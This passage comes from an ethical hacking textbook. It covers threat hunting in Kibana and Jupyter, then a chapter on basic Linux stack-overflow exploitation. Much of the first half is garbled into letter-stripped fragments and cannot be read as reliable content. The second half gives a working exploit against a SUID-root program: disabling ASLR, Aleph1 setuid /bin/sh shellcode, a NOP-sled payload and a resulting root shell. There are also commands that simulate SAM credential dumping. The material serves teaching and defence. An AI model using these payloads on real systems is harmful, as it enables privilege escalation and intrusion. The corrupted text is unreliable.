cqu. T powul, a you ow ca g o ug w daa wou wo-
yg abou o v ID. You av pa o ac o acvy: l,
Wdow gy, ad commad-l log.
Excu x commad ad coll o g o daa wdow o dal
o gapcal daa. You wll d o mody cod block, a ow x, o
T003.00:
Gray Hat Hacking: The Ethical Hacker’s Handbook
180
O g d o l a log cal ad aocad log povd (ouc).
So, o xampl, w ca a w lookg o commad xcuo ou o
aack, w ca u o v ID o 488 ad 403 o commad l ad PowSll
xcuo, pcvly. T v ID a d w a u o poc pom
commad xcuo, o w a covd w aack yp a a commad l o
xcu cp a lauc poc o xcu commad—wc good. W alo
oc a Symo log clud a v ID o o acvy. I u ou a v
ID aocad w all poc cao ad l pcc ca, o w wll ck
w o wo v ID.
Scollg dow a b, w mla daa o cqu a dcly acc
SAM om gy:
Ad v u dow, w daa om cqu a a aocad w
dc l acc o SAM objc:
Now, l’ la ao cqu o mula aack bavo od o pacc
dg log. Cyb a mulao (CTE) a oc mulpl ad ally accl-
a you lag.
Chapter 9: Introduction to Threat Hunting
181
L’ u ou ao o AomcRdTam cp o mula MITRE ATT&CK
T003.00 (SAM) aack. Ug am lab up om Cap 8, “cd” o
c:\Tool\AomcRdTam\aomc\T003.00 old o Wdow 0 o.
PART II
NOTE If you don’t see a c:\Tools folder, then you likely had an issue during
the install; in that case, go to your host system and, from your administrator
PowerShell window, run vagrant provision win10. The same is true with the
DC and WEF servers. Further, if a lab in this chapter hangs, you may need to
restart through vagrant halt system name, then vagrant up system name.
If this happens a lot, consider adding more RAM or running from the cloud
(with more RAM). The labs worked as demonstrated on Windows 10 hosts,
but your mileage may vary on other operating systems.
Now, om you admao commad-l pomp (o a Wdow 0 o), yp
commad ow pvou lluao o maually mula a aack.
Gray Hat Hacking: The Ethical Hacker’s Handbook
182
Now, op you Kbaa daboad (om la cap). Nx, l’ add a colum o ou
Kbaa ul l by dg #v_d l-d pal’ ac box ad clckg
Add buo.
Fom ow o, you wll av v_d a a ad o op o ac ul l.
R pag o .
Nx, ac o commad “reg save HKLM\sam”. No a you av o u
quo o cap backla. Eu you clck calda ad lc Today:
Chapter 9: Introduction to Threat Hunting
183
You ould ollowg ac ul:
PART II
W v ID ac ul a 4,88 (dgad comma). Rcall
om OSSEM dagam ow al a o o xpcd v ID o
commad xcuo. T a ky lag po: w oud “v_d” m
by acg o a vy pcc aack cqu. Gog owad, w wll wok
o dco.
By xpadg a log ad collg dow a b log ul, w acual
commad l aack ypd , a xpcd:
Obvouly, a bac xampl a cla vom, bu do’ woy. Nx,
w wll amp up.
I lab, w wll puu (u) bad o ypo a omo copd a SAM
l w ou doma. To pd up lag cycl, w wll u auomad
ucoaly o AomcRdTam ool, calld Ivok-AomcT, o u a
co ma ad av u all ypg volvd w aack.
Gray Hat Hacking: The Ethical Hacker’s Handbook
184
Fom a admav PowSll wdow o Wdow 0 o, up
vom ug ollowg commad (copy/pa om p://dcolab
.wok/uag/aomcdam/).
Import-Module "C:\Tools\AtomicRedTeam\invoke-atomicredteam\Invoke-
AtomicRedTeam.psd1" -Force
$PSDefaultParameterValues = @{"Invoke-AtomicTest:PathToAtomicsFolder"="C:\
Tools\AtomicRedTeam\atomics"}
Nx, vok , ug a gl , mulpl , o ull quc
o T003.00, a ow ollowg cod. T -ShowDetailsBrief agum wll
ow aco, bu o pom m, o a good da o do .
Invoke-AtomicTest T1003.002 -TestNumbers 1 -ShowDetailsBrief
#or
Invoke-AtomicTest T1003.002 -TestNumbers 1,2 -ShowDetailsBrief
#or
Invoke-AtomicTest T1003.002 -ShowDetailsBrief
T ollowg mag ow quc o la commad:
Ga! Now, lauc commad ( ), wou -ShowDetailsBrief, o
xcu aack, a ow x:
Sc w alady kow a way SAM l copy ca b dcd—
commad, l, ad gy ( dagam ad abl a ollow Lab 9-)—w
ca u omao o a ug. W call a v ID o 488 ad 403
a dcao o commad xcuo. Sc w alady lookd a 488, l’ ac
Chapter 9: Introduction to Threat Hunting
185
m o 403. Op you Kbaa cool ad ac o “HKLM\sam” and event_
id:4103, ad you ould om , a ow x:
PART II
Tak a mom o amlaz youl w log oupu; pacula, look a
Payload ld. Expad log ad coll dow o dal, a ow :
Now you kow wa a PowSll payload look lk log oma. I you y
you poduco wok, you would ac o am log, bu wou
da coa.
Enter Mordor
I co, w wll u Modo daa8 w alld la cap ad
a joggg a a u. I od o pck up pac, w wll u pcodd
aack daa, capud umm o 00 by Robo Rodguz,9 bad o
al wok om MITRE Eguy ATT&CK Evaluao po.0 W wll load
APT9 aack daa, pcodd by Rodguz, o mula APT9 goup ou
wok om a daa ppcv. T powul, a w ca b pad m o
up ad xcu all o commad. To la mo abou up ad acual aack
quc, “Rc” co a d o cap.
I lab, w wll ou o pov ypo a omo laucd PowSll,
o a a adm. No a may o may o b malcou, bu a good plac
o a. Dpdg o z o you wok, you may av a lo o PowSll bg
ud, bu you ould b abl o ola you admao u ad dc o
wo a ug PowSll. By way, a good p, bu ulmaly you wll
wa o moo ad vga all you adm acv a wll. A all, o o m
compomd, aack would lov o lvag pvlg w wok.
I od o g a da o all way PowSll may b laucd, w u o ou
OSSEM Jupy obook om Lab 9-. You may d o a a md ou—
a all! Cckg MITRE ATT&CK amwok, w a T059.00
cqu o laucg PowSll locally:
L’ look a OSSEM dagam o a cqu, a ow x. G ab
o dog .
Chapter 9: Introduction to Threat Hunting
187
H, w val pa o dcg PowSll xcuo, oug cp,
commad l, ad poc cao. Sc w loadd Modo daa la cap,
l’ ca a dx. Clck K co upp-l co o you Kbaa poal
o go o om pag; coll dow ad clck Idx Pa ud Maag ad
Adm Elac Sack:
PART II
Nx, clck blu Ca Idx Pa buo a op o c:
Typ logs-indexme-2020.05.02* Idx Pa ld ad clck
Nx Sp buo:
Fo Tm Fl Fld Nam, lc @mamp ad clck Ca Idx
Pa buo:
Gray Hat Hacking: The Ethical Hacker’s Handbook
188
Now a dx cad, you may lc o l d o Kbaa pal.
T, ac o “powershell.exe” w a l o EventID: 1 ad a da ag, a
ow x:
Now a w av all powll.x log w ou vom, w ca l
o a pacula dxd ld valu; o xampl, w could op (xpad) a log ad coll
dow o LogoID (0x3733). LogoID ma ady ougou o o
u ad uul ackg o acv. So, l’ ov ov magyg
gla (w plu g), a ow x, ad lc Fl Fo Valu.
T wll add l o LogoId: 0x3733, owg u o log. Nx,
ac o “cmd.exe”, a ow x, o look o commad-l acvy:
W v . Scollg dow oug log, w a clu: PaImag
ld ( l a wa ud o ca cu poc) a a odd am. Look lk a
cav l.
Chapter 9: Introduction to Threat Hunting
189
Now, acg o a lam, w w av v . Scollg oug o
log, w ou u: DMEVALS\pbly.
PART II
Now w kow u, ad o adm. S ould o b ug PowSll,
o l’ kp lookg. Addg uam o quy, a ollow, w d wok
coco log:
Wa av w lad? Rv gg aack o a, w av lad a
aack a do ollowg:
1. T u DMEVALS\pbly xcud “C:\ProgramData\victim\‮cod.3aka3
.scr”.
2. Ta l opd a wok coco.
3. Ta l opd cmd.x.
4. Cmd.x opd PowSll.
Gray Hat Hacking: The Ethical Hacker’s Handbook
190
A you av , w ad w a ypo, bu poc, w ladd
mddl o MITRE ATT&CK amwok, xcuo pa. T w wokd
backwad o d ouc o acvy ad u ad mac. Now, lkly
m o coac cd po am ad wok w m o dm x
o aack, a w oly av bgg a po—a la ul w g o
x lab!
Ta lco () qud 5GB o RAM, ad a all w ad l a allg
o DcoLab o pcbd ym qum o GB RAM. Now,
you av mo a GB o RAM avalabl o alld cloud (lcg a lag
ym, uc a Sadad_D3_v), you may lc x lvl o 3:
3. KAFKA + KSQL + ELK + NGINX + SPARK + JUPYTER
A dcad, vo a Spak ad Jupy, wc a qud o go u
cap. Now, wa you do o av o ym qum ad do o wa
xa xp o a lag cloud ac? W av you covd, o do’ woy. T
o cap ak advaag o a povo o Rodguz bo, Ta
Hu Playbook, compl w a wb-bad um vom o you o cou
lag.
A jo u oly cod w macg valu bo l ad g ouc:
PART II
Data Source 1 Operation Data Source 2 Result
static_ip user_name static_ip host_name static_ip user_name static_ip user_name
192.168.1.25 pbeesly 192.168.1 scranton01 192.168.1.25 pbeesly 192.168.1.25 scranton04
Inner Join =
192.168.2.23 bsimpson 192.168.1 scranton04 192.168.1.2 ckent 192.168.1.2 scranton01
192.168.1.2 ckent 192.168.1 philly01
A ull ou jo u cod w a mac om ouc:
Data Source 1 Operation Data Source 2 Result
static_ip user_name static_ip host_name static_ip user_name static_ip user_name
192.168.1.25 pbeesly 192.168.1 scranton01 192.168.1.25 pbeesly 192.168.1.25 scranton04
Full Outer =
192.168.2.23 bsimpson Join 192.168.1 scranton04 192.168.2.23 bsimpson
192.168.1.2 ckent 192.168.1 philly01 192.168.1.2 ckent 192.168.1.2 scranton01
192.168.1.5 192.168.1.5 philly01
T jo ca b pomd w Apac Spak, ug daa om Elacac, wc
paculaly uul w a ug, allowg u o ac o c ou daa by
combg val daa ouc.4 W wll play ou x lab.
NOTE Before we get started with this lab, please understand that we are
going to switch learning environments in order to advance our knowledge
and capability. Now, in the future, you may switch back to the built-in
playbooks, but again, you will need more system resources, as explained
previously.
I od o a aalyc ad povd a mo obu ag vom,
Rodguz bo dvlopd a o Jupy obook od o Bdub
plaom.5,
F, v p://auplaybook.com/oduco.ml.
Gray Hat Hacking: The Ethical Hacker’s Handbook
192
O l d o c, clck F Tlmy Nobook lk. T wll load
Jupy obook pag a a Modo daa ad all aalyc ady o you
o la.
T, clck ock co a op o c ad lauc Bd lk.
T Jupy obook may ak a w mu o lauc, bu b pa. W
load, clck block o cod ad clck Ru buo a op o p
shift-enter o u a block o cod ad load qud lba. Rmmb, om
o p lbay wll ak a wl. You wll -pog ymbol, [*], o
l o cod block ad a umb w compl. B u o l o cod
block compl bo movg o.
B u o ad x a dplayd abov ac cod block o udad ;
kp clckg Ru buo o pg shift-enter o xcu ubqu
cod block ul you g o Dcomp Daa cod block. A o wg o
cap, a o o obook w pullg Modo daa, ad you
av o cag commad o ollowg URL (com a blow bo ug
block):
!wget https://github.com/OTRF/Security-Datasets/raw/master/datasets/compound/
apt29/day1/apt29_evals_day1_manual.zip
Chapter 9: Introduction to Threat Hunting
193
Cou xcug cod ad comm block ul you g o ollowg p:
PART II
T x block o cod you xcu Spak SQL, wc lc cod om
ap9Ho mp vw om Symo/Opaoal cal, w EventID = 1,
ParentImage clud “%explorer.exe”, ad Image (lam) clud “%3aka3%”.
T omao pck up om ou pvou u, w w oud a Pam clckd a
cav w am. L’ ow dp abb ol go!
T ould b amla ow. Kp gog, caully udyg ac p, lookg ov
ould o Robo Rodguz, wo ppad o you. You wll wok
coco w oud pvouly; you wll alo cmd.x laucd. I g o
poc o dco. Rmmb w ad pvouly a you wll o
Gray Hat Hacking: The Ethical Hacker’s Handbook
194
a mddl o MITRE ATT&CK amwok ad wok l ad g o
d advay. You wll d qu mpl, ul you g o “.B.. PowSll,”
w w av ou jo am.
Rmmb om al a a jo u a jod cod w mac om
bo daa ouc ( ca “a” ad “b”), wc a dd op ad boom o
INNER JOIN am. T ul a cod, o o wc ow
( daa o wc w av bo). Tak o jo, w u ID, com-
mad xcud, pa commad l, logo ID, a valu, ad mo, all
o vw.
You ca ow a you ca wok maually w Elacac, o w aac
o Apac Spak SQL, o pom advacd jo opao. A a omwok agm,
kp xcug p obook o la v mo. Happy ug!
Chapter 9: Introduction to Threat Hunting
195
Summary
I cap, w ackld opc o a ug. A ad a bgg o
cap, you a-ug kll wll d o b dvlopd ov ya o pacc, ad
cap lpd abld bac. W ad w a dcuo o daa ouc
ad ow o omalz daa ug OSSEM. T w movd o o bac a-u-
g poc, cludg daa-dv ad ypo-dv u. W wokd oug
a o lab, dgd o cac uac o kll qud ad o gv you a
PART II
amwok om wc o xpad you kowldg. Fally, w owd ow o xd
kll a al opaoal wok, byod you lab.
References
1. Haua, “Ta Hug Ug Symo – Advacd Log Aaly o
Wdow,” Security Investigation, July 0, p://www.ocvgao.com/
a-ug-ug-ymo-advacd-log-aaly-o-wdow/ (accd
Augu 3, 0).
2. Robo Rodguz, “Cagozg ad Ecg Scuy Ev a ELK w
Hlp o Symo ad ATT&CK,” Medium, July 08, p://po.pcop
.o/cagozg-ad-cg-cuy-v--a-lk-w--lp-o-ymo-
ad-a-ck-c83034d34 (accd Augu 30, 0).
3. “OSSEM – T OSSEM Pojc.” p://ompojc.com/o.ml
(accd Augu 30, 0).
Gray Hat Hacking: The Ethical Hacker’s Handbook
196
4. Jo Lu Rodguz, “Dg ATT&CK Daa Souc, Pa I: Eacg
Cu Sa,” Medium, p://mdum.com/m-aack/dg-aack-daa-
ouc-pa--4c3958454 (accd Augu 3, 0).
5. “OS Cdal Dumpg: Scuy Accou Maag,” MITRE ATT&CK,
p://aack.m.og/cqu/T003/00/ (accd Augu 3, 0).
6. Robo Rodguz, “Wdow – Ta Hu Playbook.” p://
auplaybook.com/lbay/wdow/o.ml (accd Augu 3, 0).
7. Rd Caay, “Aomc Rd Tam,” GitHub. p://gub.com/dcaayco/
aomc-d-am (accd Augu 3, 0).
8. Robo Rodguz, “E Modo: P-codd Scuy Ev om Smulad
Advaal Tcqu,” p://po.pcop.o/-modo-p-codd-
cuy-v-om-mulad-advaal-cqu-d5555c9b (accd
Augu 3, 0).
9. Robo Rodguz, “Modo Lab – Pa : Dployg ATT&CK APT9 Eval
Evom va ARM Tmpla o Ca Dco Rac Oppou,”
Open Threat Research, Ju 00, p://mdum.com/a-u-og/
modo-lab-pa--dployg-a-ck-ap9-val-vom-va-am-
mpla-o-ca-cc4bc3c9a (accd Augu 3, 0).
10. C. T. Cop, “You Compl Ioducoy Gud o Udadg MITRE
Eguy ATT&CK Evaluao Rul,” CyCraft, Ju 0, p://mdum
.com/cyca/you-compl-oducoy-gud-o-udadg--m-
guy-a-ck-valuao-ul-7b447743b88 (accd Augu 3, 0).
11. “Ioduco – Ta Hu Playbook.” p://auplaybook.com/
oduco.ml (accd Augu 07, 0).
12. Robo Rodguz, “Wlcom o HELK!: Eablg Advacd Aalyc
Capabl,” Medium, Apl 08. p://po.pcop.o/wlcom-o-lk-
ablg-advacd-aalyc-capabl-0805d0bb38 (accd Augu 3, 0).
13. Robo Rodguz, “Ta Hug w Jupy Nobook – Pa 3: Quyg
Elacac va Apac Spak,” Medium, Ju 09. p://po.pcop.o/
a-ug-w-jupy-obook-pa-3-quyg-lacac-va-apac-
pak-70054cd9d47 (accd Augu 3, 0).
14. Robo Rodguz, “Ta Hug w Jupy Nobook – Pa 4:
SQL JOIN va Apac SpakSQL,” Medium, May 09, p://po.pcop
.o/a-ug-w-jupy-obook-pa-4-ql-jo-va-apac-pakql-
3098c93 (accd Augu 3, 0).
15. “Wlcom o HELK!: Eablg Advacd Aalyc Capabl,” op. c.
16. Robo Rodguz, “Ta Hu Playbook + Modo Daa + BdHub
= Op Iaucu o Op Hu,” Open Threat Research, Dcmb 09,
p://mdum.com/a-u-og/a-u-playbook-modo-daa-
bdub-op-aucu-o-op-8c8a3d8b4 (accd Augu 3, 0).
PART III
Hacking Systems
10
In this chapter, we cover the following topics:
• Stack operations and function-calling procedures
• Buffer overflows
• Local buffer overflow exploits
• Exploit development process
Why study exploits? Ethical hackers should study exploits to understand whether vul-
nerabilities are exploitable. Sometimes security professionals mistakenly believe and will
publicly state that a certain vulnerability isn’t exploitable, but black hat hackers know
otherwise. One person’s inability to find an exploit for a vulnerability doesn’t mean
someone else can’t. It’s a matter of time and skill level. Therefore, ethical hackers must
understand how to exploit vulnerabilities and check for themselves. In the process, they
might need to produce proof-of-concept code to demonstrate to a vendor that a vulner-
ability is exploitable and needs to be fixed.
In this chapter we will focus on exploiting 32-bit Linux stack overflows, disabling
compile-time exploit mitigation techniques, and address space layout randomization
(ASLR). We’ve decided to start with these topics because they are easier to comprehend.
Once you have a solid understanding of the basics, we will focus on more advanced
64-bit Linux exploitation concepts in the next chapter.
199
Gray Hat Hacking: The Ethical Hacker’s Handbook
200
Stack Grows
Figure 10-1
The relationship
Stack Frame
of the EBP and
ESP on a stack Low Mem: ESP EBP High Mem:
0×11111111 0×fffffff0
Every program that runs has its own stack in memory. The stack grows backward
from the highest memory address to the lowest. This means that, using our cafeteria tray
example, the bottom tray would be the highest memory address and the top tray would
be the lowest. Two important registers deal with the stack: Extended Base Pointer (EBP)
and Extended Stack Pointer (ESP). As Figure 10-1 indicates, the EBP register is the base
of the current stack frame of a process (higher address). The ESP register always points
to the top of the stack (lower address).
As explained in Chapter 2, a function is a self-contained module of code that can be
called by other functions, including the main() function. When a function is called, it
causes a jump in the flow of the program. When a function is called in assembly code,
three things take place:
• By convention, the calling program sets up the function call by first placing the
function parameters on the stack in reverse order.
• Next, the Extended Instruction Pointer (EIP) is saved on the stack so the program
can continue where it left off when the function returns. This is referred to as the
return address.
• Finally, the call command is executed, and the address of the function is placed
in the EIP to execute.
NOTE The assembly shown in this chapter is produced with the gcc compile
option –fno-stack-protector (as described in Chapter 2) to disable Stack
Canary protection. A discussion of recent memory and compiler protections
can be found in Chapter 12.
The called function’s responsibilities are first to save the calling program’s EBP register
on the stack, then to save the current ESP register to the EBP register (setting the current
stack frame), and then to decrement the ESP register to make room for the function’s
local variables. Finally, the function gets an opportunity to execute its statements. This
process is called the function prolog.
Chapter 10: Basic Linux Exploits
201
In assembly code, the prolog looks like this:
0x000011a9 <+0>: push ebp
0x000011aa <+1>: mov ebp,esp
0x000011ac <+3>: push ebx
0x000011ad <+4>: sub esp,0x194
The last thing a called function does before returning to the calling program is to
clean up the stack by incrementing ESP to EBP, effectively clearing the stack as part of
the leave statement. Then the saved EIP is popped off the stack as part of the return
process. This is referred to as the function epilog. If everything goes well, EIP still holds
the next instruction to be fetched, and the process continues with the statement after the
function call.
In assembly code, the epilog looks like this:
0x000011f3 <+74>: leave
PART III
0x000011f4 <+75>: ret
You will see these small bits of assembly code over and over when looking for buffer
overflows.
Buffer Overflows
Now that you have the basics down, we can get to the good stuff. As described in
Chapter 2, buffers are used to store data in memory. We are mostly interested in buf-
fers that hold strings. Buffers themselves have no constraint mechanisms preventing
you from adding more data than is expected. In fact, if you get sloppy as a program-
mer, you can quickly outgrow the allocated space. For example, the following declares
a string in memory of 10 bytes:
char str1[10];
Now we need to compile and execute the 32-bit program. Since we are on 64-bit Kali
Linux, first we need to install gcc-multilib to cross-compile 32-bit binaries:
$ sudo apt update && sudo apt install gcc-multilib
Gray Hat Hacking: The Ethical Hacker’s Handbook
202
After installing gcc-multilib, the next step is to compile our program using -m32 and
-fno-stack-protector to disable Stack Canary protection:
$ gcc -m32 -fno-stack-protector -o overflow overflow.c
$ ./overflow
zsh: segmentation fault ./overflow
NOTE In Linux-style operating systems, it’s worth noting the convention for
prompts that helps you distinguish between a user shell and a root shell.
Typically, a root-level shell will have a # sign as part of the prompt, whereas
user shells typically have a $ sign in the prompt. This is a visual cue that
shows when you’ve succeeded in escalating your privileges, but you’ll still
want to verify this using a command such as whoami or id.
Why did you get a segmentation fault? Let’s see by firing up gdb (the GNU Debugger):
$ gdb -q overflow
Reading symbols from overflow...
(No debugging symbols found in overflow)
(gdb) r
Starting program: /home/kali/GHHv6/ch10/overflow
As you can see, when you run the program in gdb, it crashes when trying to execute
the instruction at 0x41414141, which happens to be hex for AAAA (A in hex is 0x41).
Next, you can check whether the EIP was corrupted with A’s. Indeed, EIP is full of A’s,
and the program was doomed to crash. Remember, when the function (in this case, main)
attempts to return, the saved EIP value is popped off the stack and executed next. Because
the address 0x41414141 is out of your process segment, you got a segmentation fault.
You were introduced to the meet.c program in Chapter 2. It looks like this:
//meet.c
#include <stdio.h>
#include <string.h>
void greeting(char *temp1,char *temp2) {
char name[400]; // string variable to hold the name
strcpy(name, temp2); // copy the function argument to name
printf("Hello %s %s\n", temp1, name); //print out the greeting
}
int main(int argc, char * argv[]) {
greeting(argv[1], argv[2]); //call function, pass title & name
printf("Bye %s %s\n", argv[1], argv[2]); //say "bye"
return 0; //exit program
PART III
}
We will use Python to overflow the 400-byte buffer in meet.c. Python is an interpreted
language, meaning that you do not need to precompile it, which makes it very handy to
use at the command line. For now, you only need to understand one Python command:
`python -c 'print("A"*600)'`
This command will simply print 600 A’s to standard output (stdout)—try it!
NOTE Backticks (`) are used to wrap a command and have the shell interpreter
execute the command and return the value.
Now let’s feed 600 A’s to the meet.c program as the second parameter, as follows:
$ ./meet Mr `python -c 'print("A"*600)'`
zsh: segmentation fault (core dumped) ./meet Mr `python -c 'print("A"*600)'`
As expected, your 400-byte buffer has overflowed; hopefully, so has the EIP. To verify
this, start gdb again:
$ gdb -q ./meet
Reading symbols from ./meet...
(gdb) run Mr `python -c 'print("A"*600)'`
Starting program: /home/kali/GHHv6/ch10/meet Mr `python -c 'print("A"*600)'`
Not only did we not control the EIP, we have moved far away to another portion of
memory. If you take a look at meet.c, you will notice that after the strcpy() function in
the greeting function, there is a printf() call, which in turn calls vfprintf() in the libc
library. The vfprintf() function then calls strlen. But what could have gone wrong? You
have several nested functions and therefore several stack frames, each pushed on the
stack. When you caused the overflow, you must have corrupted the arguments passed
into the printf() function. Recall from the previous section that the call and prolog of a
function leave the stack looking like the following illustration:
Function
Variable Parameters
If you write past the EIP, you will overwrite the function arguments, starting with
temp1. Because the printf() function uses temp1, you will have problems. To check out
this theory, let’s check back with gdb. When we run gdb again, we can attempt to get
the source listing:
(gdb) list
1 // meet.c
2 #include <stdio.h> // needed for screen printing
3 #include <string.h> // needed for strcpy
4 void greeting(char *temp1,char *temp2){ // greeting function to say
hello
5 char name[400]; // string variable to hold the name
6 strcpy(name, temp2); // copy argument to name with the infamous
strcpy
7 printf("Hello %s %s\n", temp1, name); // print out the greeting
8 }
9 int main(int argc, char * argv[]){ // note the format for arguments
10 greeting(argv[1], argv[2]); // call function, pass title & name
(gdb) b 7
Breakpoint 1 at 0x11d0: file meet.c, line 7.
(gdb) run Mr `python -c 'print("A"*600)'`
Starting program: /home/kali/GHHv6/ch10/meet Mr `python -c 'print("A"*600)'`
You can see in the preceding bolded line that the arguments to the function, temp1
and temp2, have been corrupted. The pointers now point to 0x41414141, and the values
Chapter 10: Basic Linux Exploits
205
are “” (or null). The problem is that printf() will not take nulls as the only input and
therefore chokes. So let’s start with a lower number of A’s, such as 405, and then slowly
increase it until we get the effect we need:
(gdb) d 1 <remove breakpoint 1>
(gdb) run Mr `python -c 'print("A"*405)'`
Starting program: /home/kali/GHHv6/ch10/meet Mr `python -c 'print("A"*405)'`
Hello Mr
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA
PART III
11 printf("Bye %s %s\n", argv[1], argv[2]); // say "bye"
(gdb) info reg ebp eip
ebp 0xffff0041 0xffff0041
eip 0x5655621e 0x5655621e <main+47>
(gdb)
(gdb) run Mr `python -c 'print("A"*408)'`
...
Program received signal SIGSEGV, Segmentation fault.
0x56556202 in main (argc=<error reading variable: Cannot access memory at
address
0x41414149>, argv=<error reading variable: Cannot access memory at address
0x4141414d>) at meet.c:10
10 greeting(argv[1], argv[2]); // call function, pass title &
name
(gdb) info reg ebp eip
ebp 0x41414141 0x41414141
eip 0x56556202 0x56556202 <main+19>
As you can see, when a segmentation fault occurs in gdb, the current value of the EIP
is shown.
It is important to realize that the numbers (400–412) are not as important as the
concept of starting low and slowly increasing until you just overflow the saved EIP and
nothing else. This is due to the printf call immediately after the overflow. Sometimes
you will have more breathing room and will not need to worry too much about this. For
example, if nothing was following the vulnerable strcpy command, there would be no
problem overflowing beyond 412 bytes in this case.
Gray Hat Hacking: The Ethical Hacker’s Handbook
206
NOTE Remember, we are using a very simple piece of flawed code here; in
real life, you will encounter many problems like this. Again, it’s the concepts
we want you to get, not the numbers required to overflow a particular
vulnerable piece of code.
The program will run with the permissions of the owner of the file. To see the full
ramifications of this, let’s apply SUID settings to our meet program. Then later, when we
exploit this program, we will gain root privileges.
$ sudo chown root:root meet
$ sudo chmod u+s meet
$ ls -l meet
-rwsr-xr-x 1 root root 16736 Jul 1 01:41 meet
The first field of the preceding line indicates the file permissions. The first position
of that field is used to indicate a link, directory, or file (l, d, or –). The next three posi-
tions represent the file owner’s permissions in this order: read, write, execute. When
the SUID bit is set, the x is replaced with an s, as shown. That means when the file is
executed, it will execute with the file owner’s permissions (in this case, root—the third
field in the line).
Chapter 10: Basic Linux Exploits
207
Local Buffer Overflow Exploits
One of the main goals of local buffer overflow exploits is to control EIP to gain arbitrary
code execution to achieve privilege escalation. In this section we will walk through some
of the most common vulnerabilities and how to exploit them.
To build an effective exploit in a buffer overflow situation, you need to create a larger
buffer than the program is expecting by using the following components: a NOP sled,
shellcode, and a return address.
NOP Sled
PART III
In assembly code, the NOP (no operation) command simply means to do nothing but
move to the next command. Hackers have learned to use NOP for padding. When
placed at the front of an exploit buffer, this padding is called a NOP sled. If the EIP is
pointed to a NOP sled, the processor will ride the sled right into the next component.
On x86 systems, the 0x90 opcode represents NOP. There are actually many more, but
0x90 is the most commonly used. Any operation sequence that doesn’t interfere with the
exploit’s outcome would be considered equivalent to a NOP.
Shellcode
Shellcode is the term reserved for machine code that will do the hacker’s bidding. Originally,
the term was coined because the purpose of the malicious code was to provide a simple shell
to the attacker. Since then, the term has evolved to encompass code that is used to do much
more than provide a shell, such as to elevate privileges or to execute a single command on
the remote system. The important thing to realize here is that shellcode is actually a string
of binary opcodes for the exploited architecture (Intel x86 32 bit, in this case), often repre-
sented in hexadecimal form. You can find tons of shellcode libraries online, ready to be used
for all platforms. We will use Aleph1’s shellcode (shown within a test program) as follows:
#include <stdio.h>
#include <sys/mman.h>
const char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
Remember that in Lab 10-1, the size needed to overwrite EIP on meet.c is 412. There-
fore, we will use Python to craft our exploit.
First, let’s disable ASLR for this lab by executing the following command:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Now, let’s use printf and wc to calculate the size of our shellcode:
$ printf "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88
\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" | wc -c
53
Next, we will use gdb to find where to point EIP in order to execute our shellcode. We
already know that we can overwrite EIP with 412 bytes, so our first step is to load and
crash the binary from gdb. To do this, we are going to issue the following command:
$ gdb -q --args ./meet Mr `python -c 'print("A"*412)'`
Reading symbols from ./meet...
(gdb) run
Starting program: /home/kali/GHHv6/ch10/meet Mr AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
We have now successfully crashed our program and can see that our EIP overwrite is
0x41414141. Next, let’s look at what’s on the stack. To do that, we are going to use the
gdb command “examine memory”. Because looking at individual chunks isn’t always
super helpful, we are going to look in batches of 32 words (4 bytes) at a time.
(gdb) x/32z $esp-200
0xffffd224: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd234: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd244: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd254: 0x41414141 0x41414141 0x41414141 0x41414141
Chapter 10: Basic Linux Exploits
209
0xffffd264: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd274: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd284: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd294: 0x41414141 0x41414141 0x41414141 0x41414141
You can see that our A’s (0x41) are visible. We can safely pick an address from the
middle of our NOP sled to overwrite EIP. In our case, we will pick the address 0xffffd224.
(Remember, your address may be different.)
Now we’ve got everything we need to build our final exploit. We need to make sure
that our 412 bytes consist of NOPS + SHELLCODE + ADDRESS, which is broken
down as follows:
PART III
x86 processors)
Let’s craft our payload and feed it to our vulnerable meet.c program:
$ ./meet Mr `python -c "print('\x90'*355 + '\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb
\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08
\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh' +
'\x24\xd2\xff\xff')"`
Hello
1 1 ^ 1 F F
`1 @` /bin/sh$
# id
uid=0(root) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),
29(audio),30(dip),44(video),46(plugdev),109(netdev),119(bluetooth),133(scanner),
141(kaboxer)
Let’s use the Pwntools framework to simplify the task of writing our exploit. Make sure
